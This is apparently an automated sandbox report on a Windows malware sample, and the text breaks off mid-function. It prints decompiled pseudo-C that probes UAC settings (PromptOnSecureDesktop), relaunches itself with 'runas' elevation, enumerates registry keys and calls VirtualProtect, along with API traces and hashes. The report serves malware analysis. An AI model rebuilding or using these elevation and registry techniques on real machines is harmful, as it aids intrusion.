CreateThread.KERNEL32 ref: 0040A42C
WSAStartup.WS2_32(00001010,?), ref: 0040A43A
CreateThread.KERNEL32 ref: 0040A469
Sleep.KERNEL32(00000BB8), ref: 0040A48A
GetTickCount.KERNEL32 ref: 0040A49F
GetTickCount.KERNEL32 ref: 0040A4B7
Sleep.KERNEL32(00002710), ref: 0040A4C3

Strings

D, xrefs: 00409F8E
", xrefs: 00409EDB
", xrefs: 0040A189
", xrefs: 0040A078
%X%08X, xrefs: 0040A0B0
\, xrefs: 00409D0C
P, xrefs: 00409DAA
PromptOnSecureDesktop, xrefs: 00409B14, 00409B19, 00409B32, 00409E65, 00409EAA, 00409F2C, 00409F72, 0040A024, 0040A040, 0040A0CD, 0040A0E6, 0040A14C, 0040A1FC, 0040A210, 0040A2F3, 0040A304

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: lstrcat$File$Module$CountCreateDeleteErrorHandleNameSleepTicklstrcpylstrlen$CommandDriveLineModeProcessThreadTimeType$AttributesCloseCtrlDispatcherEnvironmentExceptionExitFilterInformationLastOpenPathServiceStartStartupSystemTempUnhandledValueVariableVolumewsprintf
String ID: "$"$"$%X%08X$D$P$PromptOnSecureDesktop$\
API String ID: 2089075347-2824936573
Opcode ID: 22371034e60be2e8533f9a4e74c45ceaa5b305d0f588b9e787c30c92806b4a47
Instruction ID: 8eb9ea6afe9ee9197cc0e6cd2b03883a1bab6226c4cfd690aa98a93bf3167ae2
Opcode Fuzzy Hash: 22371034e60be2e8533f9a4e74c45ceaa5b305d0f588b9e787c30c92806b4a47
Instruction Fuzzy Hash: 275291B1D40259BBDB11DBA1CC49EEF7BBCAF04304F1444BBF509B6182D6788E948B69

Uniqueness

Uniqueness Score: -1.00%

Function 00409326, Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 284
registryCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00409326(void* __ecx, void* __edx) {
				void* __ebx;
				char _t88;
				void* _t89;
				int _t92;
				void* _t96;
				signed int _t97;
				signed int _t100;
				signed int _t103;
				char* _t106;
				long _t107;
				char* _t111;
				signed int _t112;
				char* _t116;
				signed int _t117;
				int _t119;
				void* _t146;
				signed int _t155;
				int _t161;
				signed int _t165;
				signed int _t167;
				void* _t168;
				void* _t170;
				void* _t172;
				void* _t173;
				void* _t175;
				void* _t176;

				_t146 = __ecx;
				_t168 = _t170 - 0x60;
				E00401910(0x19bc);
				 *(_t168 - 0x58) = 0x9c;
				if(GetVersionExA(_t168 - 0x58) == 0) {
					 *(_t168 - 0x4c) =  *(_t168 - 0x4c) & 0x00000000;
					_t9 = _t168 + 0x58;
					 *_t9 =  *(_t168 + 0x58) & 0x00000000;
					__eflags =  *_t9;
				} else {
					 *(_t168 + 0x58) = ( *(_t168 - 0x54) << 4) +  *((intOrPtr*)(_t168 - 0x50));
				}
				_t88 = GetModuleFileNameA(GetModuleHandleA(0), _t168 - 0x15c, 0x104);
				if(_t88 == 0) {
					 *(_t168 - 0x15c) = _t88;
				}
				_push( *((intOrPtr*)(_t168 + 0x70)));
				_t89 = _t168 - 0x15c;
				if( *(_t168 + 0x78) == 0) {
					_push( *((intOrPtr*)(_t168 + 0x70)));
					_push(_t89);
					_push( *((intOrPtr*)(_t168 + 0x68)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_push( *((intOrPtr*)(_t168 + 0x70)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_push( *((intOrPtr*)(_t168 + 0x6c)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_t92 = wsprintfA(_t168 - 0x95c, E00402544(0x4122f8,  &E00410918, 0xbd, 0xe4, 0xc8));
					_t172 = _t170 + 0x40;
				} else {
					_push(_t89);
					_push( *((intOrPtr*)(_t168 + 0x68)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_push( *((intOrPtr*)(_t168 + 0x70)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_push( *((intOrPtr*)(_t168 + 0x6c)));
					_t92 = wsprintfA(_t168 - 0x95c, E00402544(0x4122f8, 0x4109d8, 0x4d, 0xe4, 0xc8));
					_t172 = _t170 + 0x38;
				}
				 *(_t168 + 0x78) = _t92;
				E0040EE2A(_t146, 0x4122f8, 0, 0x100);
				_t173 = _t172 + 0xc;
				if( *(_t168 + 0x58) >= 0x60 &&  *((intOrPtr*)(_t168 + 0x7c)) != 0) {
					E0040EF00(_t168 - 0x15c, E00406CC9(_t146));
					E0040EF1E(_t168 - 0x15c, E00402544(0x4122f8,  &E0041090C, 0xc, 0xe4, 0xc8));
					_push(_t168 - 0x15c);
					wsprintfA(_t168 +  *(_t168 + 0x78) - 0x95c, E00402544(0x4122f8,  &E00410888, 0x82, 0xe4, 0xc8));
					E0040EE2A(_t146, 0x4122f8, 0, 0x100);
					_t173 = _t173 + 0x50;
				}
				 *(_t168 + 0x78) =  *(_t168 + 0x78) & 0x00000000;
				 *(_t168 + 0x5c) = E00406EDD();
				if( *(_t168 + 0x58) < 0x60) {
					_t165 =  *(_t168 + 0x78);
					_t161 = 0;
					__eflags = 0;
					L33:
					__eflags =  *(_t168 + 0x5c) - _t161;
					if( *(_t168 + 0x5c) == _t161) {
						L38:
						_push(_t168 - 0x95c);
						_push(_t161); // executed
						L39:
						_t96 = E004091EB(); // executed
						__eflags =  *0x412180 - _t161; // 0x0
						if(__eflags != 0) {
							 *0x412180 =  *0x412180 | _t165;
							__eflags =  *0x412180;
						}
						__eflags = _t96 - 0x2a;
						_t81 = _t96 == 0x2a;
						__eflags = _t81;
						_t97 = 0 | _t81;
						L42:
						return _t97;
					}
					_t100 = E00401820(_t168 + 0x54, _t168 + 0x78);
					__eflags = _t100;
					if(_t100 != 0) {
						_push(_t168 - 0x95c);
						_push("runas");
						goto L39;
					}
					_t103 =  *(_t168 + 0x78) | 0x61080000;
					__eflags = _t103;
					 *0x412180 = _t103;
					 *0x41217c =  *(_t168 + 0x54);
					if(_t103 != 0) {
						 *0x412180 = _t103 | _t165;
					}
					L31:
					_t97 = 0;
					goto L42;
				}
				 *(_t168 + 0x4c) = 4;
				 *(_t168 + 0x44) = 5;
				 *(_t168 + 0x48) = 1;
				_t106 = E00402544(0x4122f8,  &E0041084C, 0x3a, 0xe4, 0xc8);
				_t175 = _t173 + 0x14;
				_t107 = RegOpenKeyExA(0x80000002, _t106, 0, 0x101, _t168 + 0x50); // executed
				if(_t107 == 0) {
					_t111 = E00402544(0x4122f8, 0x410830, 0x1b, 0xe4, 0xc8);
					_t176 = _t175 + 0x14;
					_t112 = RegQueryValueExA( *(_t168 + 0x50), _t111, 0, _t168 + 0x54, _t168 + 0x44, _t168 + 0x4c); // executed
					__eflags = _t112;
					if(_t112 == 0) {
						_t116 = E00402544(0x4122f8, 0x410818, 0x16, 0xe4, 0xc8);
						_t176 = _t176 + 0x14;
						_t117 = RegQueryValueExA( *(_t168 + 0x50), _t116, 0, _t168 + 0x54, _t168 + 0x48, _t168 + 0x4c); // executed
						__eflags = _t117;
						if(_t117 != 0) {
							 *(_t168 + 0x78) = 0x3000;
						}
					} else {
						 *(_t168 + 0x78) = 0x2000;
					}
					RegCloseKey( *(_t168 + 0x50));
					_t165 =  *(_t168 + 0x78);
				} else {
					_t165 = 0x1000;
				}
				_t161 = 0;
				if( *(_t168 + 0x44) != 0 ||  *(_t168 + 0x48) != 0) {
					if( *(_t168 + 0x5c) <= _t161) {
						goto L38;
					}
					_t119 =  *(_t168 - 0x4c);
					if( *(_t168 + 0x58) < 0x61 || _t119 < 0x1db0) {
						 *0x41217c = _t119;
						_t167 = _t165 | 0x61080106;
						__eflags = _t167;
						goto L30;
					} else {
						if(E0040F0E4(_t168 - 0x95c, _t168 - 0x195c, 0x800) == 0) {
							 *0x41217c = _t161;
							_t167 = _t165 | 0x61080107;
							L30:
							 *0x412180 = _t167;
							goto L31;
						}
						_t97 = E004018E0(0xc8, _t168 - 0x195c, _t168 + 0x5c, _t168 + 0x78);
						if(_t97 == _t161) {
							_t155 =  *(_t168 + 0x78) | 0x61080000;
							 *0x412180 = _t155;
							 *0x41217c =  *(_t168 + 0x5c);
							if(_t155 != 0) {
								 *0x412180 = _t155 | _t165;
							}
						}
						goto L42;
					}
				} else {
					goto L33;
				}
			}

0x00409326
0x00409327
0x00409330
0x00409339
0x00409348
0x00409358
0x0040935c
0x0040935c
0x0040935c
0x0040934a
0x00409353
0x00409353
0x00409375
0x0040937d
0x0040937f
0x0040937f
0x0040938c
0x00409394
0x004093a2
0x004093d9
0x004093dc
0x004093dd
0x004093e0
0x004093e3
0x004093e6
0x004093e9
0x004093ec
0x0040940c
0x00409412
0x004093a4
0x004093a4
0x004093a5
0x004093a8
0x004093ab
0x004093ae
0x004093b1
0x004093ce
0x004093d4
0x004093d4
0x0040941d
0x00409420
0x00409425
0x0040942c
0x00409441
0x0040945d
0x0040946b
0x0040948d
0x0040949b
0x004094a0
0x004094a0
0x004094a3
0x004094b0
0x004094b3
0x0040962f
0x00409632
0x00409632
0x00409634
0x00409634
0x00409637
0x0040967b
0x00409681
0x00409682
0x00409683
0x00409683
0x0040968a
0x00409690
0x00409692
0x00409692
0x00409692
0x0040969a
0x0040969d
0x0040969d
0x004096a0
0x004096a2
0x004096a9
0x004096a9
0x00409641
0x00409648
0x0040964a
0x00409673
0x00409674
0x00000000
0x00409674
0x00409652
0x00409652
0x00409657
0x0040965c
0x00409662
0x00409666
0x00409666
0x0040962b
0x0040962b
0x00000000
0x0040962b
0x004094ce
0x004094d5
0x004094dc
0x004094e3
0x004094e8
0x004094f1
0x004094f9
0x0040951a
0x0040951f
0x00409526
0x0040952c
0x0040952e
0x00409551
0x00409556
0x0040955d
0x00409563
0x00409565
0x00409567
0x00409567
0x00409530
0x00409530
0x00409530
0x00409571
0x00409577
0x004094fb
0x004094fb
0x004094fb
0x0040957a
0x0040957f
0x0040958d
0x00000000
0x00000000
0x00409597
0x0040959a
0x0040961a
0x0040961f
0x0040961f
0x00000000
0x004095a3
0x004095c0
0x0040960c
0x00409612
0x00409625
0x00409625
0x00000000
0x00409625
0x004095d1
0x004095db
0x004095e7
0x004095ed
0x004095f3
0x004095f9
0x00409601
0x00409601
0x004095f9
0x00000000
0x004095db
0x00000000
0x00000000
0x00000000

APIs

GetVersionExA.KERNEL32(?,?,00409DD7,?,00000022,?,?,00000000,00000001), ref: 00409340
GetModuleHandleA.KERNEL32(00000000,?,00000104,?,00409DD7,?,00000022,?,?,00000000,00000001), ref: 0040936E
GetModuleFileNameA.KERNEL32(00000000,?,00409DD7,?,00000022,?,?,00000000,00000001), ref: 00409375
wsprintfA.USER32 ref: 004093CE
wsprintfA.USER32 ref: 0040940C
wsprintfA.USER32 ref: 0040948D
RegOpenKeyExA.KERNELBASE(80000002,00000000,?,?,00000000,00000101,?), ref: 004094F1
RegQueryValueExA.KERNELBASE(?,00000000,?,00000000,?,?,?,?,?,00000000,00000101,?), ref: 00409526
RegCloseKey.ADVAPI32(?,?,00000000,?,?,?,?,00000000,?,?,?,?,?,00000000,00000101,?), ref: 00409571

Strings

PromptOnSecureDesktop, xrefs: 0040938A, 0040939D, 004093BD, 004093FB, 0040941C, 0040944F, 00409478, 0040949A, 004094CD, 00409519, 00409550
runas, xrefs: 00409674

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: wsprintf$Module$CloseFileHandleNameOpenQueryValueVersion
String ID: PromptOnSecureDesktop$runas
API String ID: 3696105349-2220793183
Opcode ID: 4098d49489a1a58f2d44698bc399054650fb9812435130c3968b7db0ab9e05d5
Instruction ID: 7d6f16c0e63263610e399f3f049f45e0da260e43ae629b5557d7a5820381a87a
Opcode Fuzzy Hash: 4098d49489a1a58f2d44698bc399054650fb9812435130c3968b7db0ab9e05d5
Instruction Fuzzy Hash: 51A171B2540208BBEB21DFA1CC45FDF3BACAB44344F104437FA05E6192D7B999848FA9

Uniqueness

Uniqueness Score: -1.00%

Function 0041C735, Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 427COMMON

Download Yara Rule

APIs

__vswprintf_c_l.LIBCMTD ref: 0041C75C

Part of subcall function 00420E50: __vswprintf_helper.LIBCMTD ref: 00420E71

_puts.LIBCMTD ref: 0041C762

Part of subcall function 00422910: __invalid_parameter.LIBCMTD ref: 0042299D

__wrename.LIBCMTD ref: 0041C769

Part of subcall function 004228C0: __dosmaperr.LIBCMTD ref: 004228F4

Part of subcall function 0041EA58: __EH_prolog.LIBCMT ref: 0041EA5D

_abort.LIBCMTD ref: 0041C77E

Part of subcall function 00422780: _raise.LIBCMTD ref: 004227C0
Part of subcall function 00422780: _memset.LIBCMT ref: 0042285F

_malloc.LIBCMTD ref: 0041C784

Part of subcall function 00422750: __nh_malloc_dbg.LIBCMTD ref: 00422766

_realloc.LIBCMTD ref: 0041C78B

Part of subcall function 00422720: __realloc_dbg.LIBCMTD ref: 00422734

Part of subcall function 0041E3EB: std::ios_base::_Ios_base_dtor.LIBCPMTD ref: 0041E3FD

Strings

\H, xrefs: 0041CA40
e-BX<, xrefs: 0041CAEF, 0041C85E, 0041C863, 0041C862, 0041CAF3
e-B, xrefs: 0041C969, 0041CC0D
X<, xrefs: 0041CA88

Memory Dump Source

Source File: 00000012.00000002.390784904.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: H_prologIos_base_dtor__dosmaperr__invalid_parameter__nh_malloc_dbg__realloc_dbg__vswprintf_c_l__vswprintf_helper__wrename_abort_malloc_memset_puts_raise_reallocstd::ios_base::_
String ID: X<$e-B$e-BX<$\H
API String ID: 1366049782-337825548
Opcode ID: 301bfa09324cd20a1ad382d0ea7359a7b0f20fa7dd98d390ad23820faa269337
Instruction ID: fd907aed3f122deab6252544d67d94afc70bb90e2f60d10dab4ebc72ea4ea400
Opcode Fuzzy Hash: 301bfa09324cd20a1ad382d0ea7359a7b0f20fa7dd98d390ad23820faa269337
Instruction Fuzzy Hash: 64D14F72442665BBC325ABA1ED4DEEF3E6CEF4A391B004436F245A1071D7384685CBAE

Uniqueness

Uniqueness Score: -1.00%

Function 0041A878, Relevance: 62.0, APIs: 1, Strings: 34, Instructions: 794memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(00000040,00000000), ref: 0041C4A9

Strings

CWv, xrefs: 0041B4AB
VirtualProtect, xrefs: 0041B366, 0041B36B, 0041C44C
1s<R, xrefs: 0041B24D
Ig, xrefs: 0041BAF0
w/a, xrefs: 0041AF03
*9ix, xrefs: 0041B2BD
(::L, xrefs: 0041AC7A
PV, xrefs: 0041B848
g$0, xrefs: 0041B634
JfG, xrefs: 0041AA10
Sst1, xrefs: 0041AD08
|~, xrefs: 0041B81C
SKCo, xrefs: 0041ABA1
IkL, xrefs: 0041AC64
H/P, xrefs: 0041BDDA
p0SP, xrefs: 0041AD76
lh;_, xrefs: 0041B47F
[qFq, xrefs: 0041ACD1
qcc-, xrefs: 0041AFF4
F[x`, xrefs: 0041ADAA
=:6U, xrefs: 0041AE96
>e] , xrefs: 0041BA43
k/^, xrefs: 0041B949
/><, xrefs: 0041AF71
N%z", xrefs: 0041AE9E
FW,(, xrefs: 0041B50E
T, xrefs: 0041BC35
9o, xrefs: 0041B57C
y]n6, xrefs: 0041B954
kOon, xrefs: 0041AB96
R$#, xrefs: 0041AFE1
Dx8|, xrefs: 0041B48A
*E[o, xrefs: 0041AC9B
[(, xrefs: 0041BC1F

Memory Dump Source

Source File: 00000012.00000002.390784904.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: ProtectVirtual
String ID: w/a$g$0$PV$(::L$*9ix$*E[o$/><$1s<R$=:6U$>e] $Dx8|$FW,($F[x`$IkL$Ig$JfG$N%z"$R$#$SKCo$Sst1$T$VirtualProtect$[qFq$[($k/^$kOon$lh;_$p0SP$qcc-$y]n6$9o$CWv$H/P$|~
API String ID: 544645111-66855312
Opcode ID: 2f6239dd90dc7b67c91acfa2199c8edae369c0e875cd0353721e85238ce5747d
Instruction ID: 8997ab71a4adcbde98a7509aee359fee696d45392c49b001424423367cb78155
Opcode Fuzzy Hash: 2f6239dd90dc7b67c91acfa2199c8edae369c0e875cd0353721e85238ce5747d
Instruction Fuzzy Hash: 51C2C9B450D3C18BC2B58F1A95897CFFBE4BB96308F508A0CE6D94A615CB718985CF4B

Uniqueness

Uniqueness Score: -1.00%

Function 004073FF, Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 345
registryCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E004073FF(void* __ecx, intOrPtr* _a4, signed int* _a8, int** _a12, char* _a16, char* _a20) {
				CHAR* _v8;
				void* _v12;
				int _v16;
				void* _v20;
				int* _v24;
				char* _v28;
				intOrPtr _v32;
				int _v36;
				char _v295;
				char _v296;
				char _v556;
				void _v592;
				intOrPtr* _t85;
				int** _t86;
				char* _t87;
				char* _t88;
				intOrPtr _t89;
				char* _t91;
				long _t92;
				signed int _t93;
				long _t97;
				signed int _t103;
				long _t107;
				char* _t118;
				intOrPtr* _t119;
				CHAR* _t123;
				void* _t125;
				char* _t127;
				intOrPtr* _t134;
				void* _t136;
				intOrPtr _t137;
				signed int* _t146;
				int** _t147;
				void* _t160;
				signed int _t163;
				intOrPtr _t164;
				void* _t165;
				intOrPtr _t167;
				intOrPtr _t172;
				intOrPtr* _t173;
				void* _t186;
				intOrPtr _t187;
				int* _t188;
				void* _t190;
				void* _t191;
				char* _t192;
				signed int _t194;
				int* _t196;
				void* _t202;
				void* _t203;
				void* _t204;
				void* _t206;

				_t165 = __ecx;
				_t85 = _a8;
				_t188 = 0;
				_v16 = 0x104;
				if(_t85 != 0) {
					 *_t85 = 0;
				}
				_t86 = _a12;
				if(_t86 != _t188) {
					 *_t86 = _t188;
				}
				_t87 = _a16;
				if(_t87 != _t188) {
					 *_t87 = 0;
				}
				_t88 = _a20;
				if(_t88 != _t188) {
					 *_t88 = 0; // executed
				}
				_t89 = E00406DC2(_t165); // executed
				_v32 = _t89;
				_t160 = 0xe4;
				_t91 = E00402544(0x4122f8, 0x4106e8, 0x22, 0xe4, 0xc8);
				_t204 = _t203 + 0x14;
				_t92 = RegOpenKeyExA(0x80000002, _t91, _t188, 0x20119,  &_v20); // executed
				_push(0x100);
				_push(_t188);
				_push(0x4122f8);
				if(_t92 != 0) {
					_t93 = E0040EE2A(_t165);
					goto L66;
				} else {
					E0040EE2A(_t165);
					_t206 = _t204 + 0xc;
					_push(_v16);
					_push( &_v556);
					_v24 = _t188;
					_push(_t188);
					while(1) {
						_t97 = RegEnumKeyA(_v20, ??, ??, ??); // executed
						if(_t97 != 0) {
							break;
						}
						if(E00406CAD( &_v556) == 0) {
							L41:
							_v24 =  &(_v24[0]);
							_push(0x104);
							_v16 = 0x104;
							_push( &_v556);
							_push(_v24);
							continue;
						}
						_t103 = E0040F1A5( &_v556);
						_pop(_t167);
						if((_t103 ^ 0x61616161) != _v32) {
							goto L41;
						}
						_v12 = _t188;
						_v16 = 0x104;
						_t107 = RegOpenKeyExA(_v20,  &_v556, _t188, 0x101,  &_v12);
						if(_t107 != _t188) {
							L45:
							if(_t107 != 5) {
								L50:
								E0040EE2A(_t167, 0x4122f8, _t188, 0x100);
								_t206 = _t206 + 0xc;
								L39:
								if(_v12 != _t188) {
									RegCloseKey(_v12);
								}
								goto L41;
							}
							E0040EF00(_a16,  &_v556);
							if(_v12 != _t188) {
								RegCloseKey(_v12);
							}
							_push(4);
							_pop(0);
							L64:
							RegCloseKey(_v20);
							return 0;
						}
						_t118 = E00402544(0x4122f8, 0x4106dc, 0xa, _t160, 0xc8);
						_t206 = _t206 + 0x14;
						_t107 = RegQueryValueExA(_v12, _t118, _t188,  &_v36,  &_v296,  &_v16);
						if(_t107 != _t188) {
							goto L45;
						}
						_t119 =  &_v556;
						_t186 = _t119 + 1;
						do {
							_t167 =  *_t119;
							_t119 = _t119 + 1;
						} while (_t167 != 0);
						if(_v16 <= _t119 - _t186) {
							goto L50;
						}
						_t123 = E0040EE95( &_v296,  &_v556);
						_pop(_t167);
						_v8 = _t123;
						if(_t123 == _t188) {
							goto L50;
						}
						_t125 = E0040EE95(_v8, E00402544(0x4122f8, 0x410694, 5, _t160, 0xc8));
						_t206 = _t206 + 0x1c;
						if(_t125 == 0) {
							_t188 = 0;
							goto L50;
						}
						if(_v296 != 0x22) {
							_t127 = E0040ED03( &_v296, 0x20);
							_pop(_t167);
						} else {
							E0040EF00( &_v296,  &_v295);
							_t127 = E0040ED03( &_v296, 0x22);
							_t206 = _t206 + 0x10;
						}
						if(_t127 != 0) {
							 *_t127 = 0;
						}
						_v8 = E0040EE95( &_v296,  &_v556);
						_v28 = E0040EE95(_v8, E00402544(0x4122f8, 0x410694, 5, _t160, 0xc8));
						E0040EE2A(_t167, 0x4122f8, 0, 0x100);
						_t134 = _a4;
						_t206 = _t206 + 0x30;
						_t190 = _t134 + 1;
						do {
							_t172 =  *_t134;
							_t134 = _t134 + 1;
						} while (_t172 != 0);
						_t173 = _v8;
						_t191 = _t134 - _t190;
						_t43 = _t173 + 1; // 0x1
						_t136 = _t43;
						do {
							_t187 =  *_t173;
							_t173 = _t173 + 1;
						} while (_t187 != 0);
						_t174 = _t173 - _t136;
						if(_t191 <= _t173 - _t136 || E0040ED77(_t191 - _t174 + _a4, _v8) != 0) {
							_t192 = _v28;
							 *_t192 = 0;
							_t137 = E0040ED23(_v8, 0x5c);
							_v8 = _t137;
							if(_t137 != 0) {
								_v8 = _v8 + 1;
							} else {
								_v8 =  &_v296;
							}
							if(E00406CAD(_v8) == 0) {
								 *_t192 = 0x2e;
								goto L38;
							} else {
								_t194 = E0040F1A5(_v8) ^ 0x61616161;
								_t163 = _t194 >> 0x00000008 & 0x000000ff;
								 *_v28 = 0x2e;
								if(E00406C96(_t194) != 0) {
									L37:
									_t160 = 0xe4;
									L38:
									_t188 = 0;
									goto L39;
								}
								_t56 = _t163 - 0x51; // -81
								if(_t56 > 0x2e || (_t194 & 0x000000ff) >= 0x10) {
									goto L37;
								} else {
									_t196 = 0;
									if(GetFileAttributesExA( &_v296, 0,  &_v592) != 0) {
										_t196 = 1;
									}
									_t146 = _a8;
									if(_t146 != 0) {
										 *_t146 = _t163;
									}
									_t164 = _a16;
									if(_t164 != 0) {
										_t202 = _v8 -  &_v296;
										E0040EE08(_t164,  &_v296, _t202);
										 *((char*)(_t202 + _t164)) = 0;
									}
									if(_a20 != 0) {
										E0040EF00(_a20, _v8);
									}
									_t147 = _a12;
									if(_t147 != 0) {
										 *_t147 = _t196;
									}
									_push(3);
									_pop(0);
									goto L63;
								}
							}
						} else {
							E0040EF00(_a16,  &_v556);
							L63:
							RegCloseKey(_v12);
							goto L64;
						}
					}
					_t93 = RegCloseKey(_v20); // executed
					L66:
					return _t93 | 0xffffffff;
				}
			}

0x004073ff
0x00407408
0x0040740e
0x00407410
0x00407419
0x0040741b
0x0040741b
0x0040741d
0x00407422
0x00407424
0x00407424
0x00407426
0x0040742b
0x0040742d
0x0040742d
0x00407430
0x00407435
0x00407437
0x00407437
0x0040743a
0x0040743f
0x00407451
0x00407464
0x00407469
0x00407472
0x00407478
0x0040747d
0x0040747e
0x00407481
0x004077f9
0x00000000
0x00407487
0x00407487
0x0040748c
0x0040748f
0x00407498
0x00407499
0x0040749c
0x00407703
0x00407706
0x0040770e
0x00000000
0x00000000
0x004074b1
0x004076ed
0x004076ed
0x004076f5
0x004076f6
0x004076ff
0x00407700
0x00000000
0x00407700
0x004074be
0x004074c8
0x004074cc
0x00000000
0x00000000
0x004074e6
0x004074e9
0x004074f0
0x004074f8
0x00407727
0x0040772a
0x00407755
0x0040775c
0x00407761
0x004076df
0x004076e2
0x004076e7
0x004076e7
0x00000000
0x004076e2
0x00407736
0x00407740
0x00407745
0x00407745
0x0040774b
0x0040774d
0x004077ec
0x004077ef
0x00000000
0x004077f5
0x0040751c
0x00407521
0x00407528
0x00407530
0x00000000
0x00000000
0x00407536
0x0040753c
0x0040753f
0x0040753f
0x00407541
0x00407542
0x0040754b
0x00000000
0x00000000
0x0040755f
0x00407565
0x00407566
0x0040756b
0x00000000
0x00000000
0x00407589
0x0040758e
0x00407593
0x00407753
0x00000000
0x00407753
0x004075a0
0x004075d1
0x004075d7
0x004075a2
0x004075b0
0x004075be
0x004075c3
0x004075c3
0x004075da
0x004075dc
0x004075dc
0x004075fc
0x00407615
0x00407618
0x0040761d
0x00407620
0x00407623
0x00407626
0x00407626
0x00407628
0x00407629
0x0040762d
0x00407632
0x00407634
0x00407634
0x00407637
0x00407637
0x00407639
0x0040763a
0x0040763e
0x00407642
0x0040765c
0x00407664
0x00407667
0x0040766e
0x00407673
0x00407680
0x00407675
0x0040767b
0x0040767b
0x0040768e
0x00407722
0x00000000
0x00407694
0x004076a1
0x004076ad
0x004076b3
0x004076bf
0x004076d8
0x004076d8
0x004076dd
0x004076dd
0x00000000
0x004076dd
0x004076c1
0x004076c7
0x00000000
0x0040777e
0x00407785
0x00407797
0x00407799
0x00407799
0x0040779a
0x0040779f
0x004077a1
0x004077a1
0x004077a3
0x004077a8
0x004077b3
0x004077b8
0x004077c0
0x004077c0
0x004077c8
0x004077d0
0x004077d6
0x004077d7
0x004077dc
0x004077de
0x004077de
0x004077e0
0x004077e2
0x00000000
0x004077e2
0x004076c7
0x00407769
0x00407773
0x004077e3
0x004077e6
0x00000000
0x004077e6
0x00407642
0x00407717
0x00407801
0x00000000
0x00407801

APIs

RegOpenKeyExA.KERNELBASE(80000002,00000000,00020119,00000000,?,751443E0,00000000), ref: 00407472
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00000101,?,?,?,?,?,?,?,751443E0,00000000), ref: 004074F0
RegQueryValueExA.ADVAPI32(?,00000000,?,00000000,?,?,00000104,?,?,?,?,?,?,751443E0,00000000), ref: 00407528
___ascii_stricmp.LIBCMT ref: 0040764D
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,751443E0,00000000), ref: 004076E7
RegEnumKeyA.ADVAPI32(00000000,00000000,?,00000104), ref: 00407706
RegCloseKey.KERNELBASE(00000000,?,?,?,?,?,?,751443E0,00000000), ref: 00407717
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,751443E0,00000000), ref: 00407745
RegCloseKey.ADVAPI32(00000000,?,?,?,?,?,?,751443E0,00000000), ref: 004077EF

Part of subcall function 0040F1A5: lstrlenA.KERNEL32(000000C8,000000E4,PromptOnSecureDesktop,000000C8,00407150,?), ref: 0040F1AD

GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 0040778F
RegCloseKey.ADVAPI32(?), ref: 004077E6

Strings

", xrefs: 00407599
PromptOnSecureDesktop, xrefs: 0040745E, 00407463, 0040747E, 0040751B, 0040757F, 004075FB, 00407614, 0040775B

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Close$Open$AttributesEnumFileQueryValue___ascii_stricmplstrlen
String ID: "$PromptOnSecureDesktop
API String ID: 3433985886-3108538426
Opcode ID: be1730cef161fe20a2692bf5d8dfd6f9750a488cf0ac433aa7dcf1ab0d83bb1b
Instruction ID: 7fe5a339a68ccf6b09c70fd716338511db9c3a0a85de510e5ec7ef93542d7acc
Opcode Fuzzy Hash: be1730cef161fe20a2692bf5d8dfd6f9750a488cf0ac433aa7dcf1ab0d83bb1b
Instruction Fuzzy Hash: 10C1F171D04209ABEB119BA5DC45BEF7BB9EF04310F1044B7F504B72D1EA78AE908B69

Uniqueness

Uniqueness Score: -1.00%

Function 0040704C, Relevance: 23.1, APIs: 10, Strings: 3, Instructions: 332
registryCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E0040704C(intOrPtr _a4, int _a8, int _a12, int _a16, int* _a20) {
				CHAR* _v8;
				void* _v12;
				char _v16;
				int _v20;
				char _v24;
				char _v28;
				signed int _v32;
				char _v64;
				char _v363;
				char _v364;
				void _v400;
				intOrPtr* _t88;
				int* _t89;
				int* _t90;
				int* _t91;
				char* _t93;
				long _t94;
				signed int _t96;
				signed int _t97;
				long _t99;
				signed int _t107;
				int _t109;
				int _t119;
				int _t121;
				int _t122;
				int _t123;
				signed int _t125;
				int _t130;
				int _t136;
				int _t149;
				int _t155;
				void* _t158;
				void* _t166;
				int _t196;
				int _t202;
				void* _t203;
				void* _t204;
				void* _t206;
				void* _t207;

				_t88 = _a8;
				_t167 = 0;
				_v16 = 0x12c;
				_v24 = 0x20;
				_v364 = 0;
				if(_t88 != 0) {
					 *_t88 = 0;
				}
				_t89 = _a12;
				if(_t89 != _t167) {
					 *_t89 = _t167;
				}
				_t90 = _a16;
				if(_t90 != _t167) {
					 *_t90 = _t167;
				}
				_t91 = _a20;
				if(_t91 != _t167) {
					 *_t91 = _t167;
				}
				_t93 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
				_t204 = _t203 + 0x14;
				_t94 = RegOpenKeyExA(0x80000001, _t93, _t167, 0x101,  &_v12); // executed
				if(_t94 != 0) {
					L21:
					_t96 = E0040EE2A(_t167, 0x4122f8, 0, 0x100) | 0xffffffff;
					goto L22;
				} else {
					_t97 = E00406DC2(_t167);
					_push( &_v16);
					_push( &_v364);
					_push( &_v28);
					_v32 = _t97;
					_push(0);
					_push( &_v24);
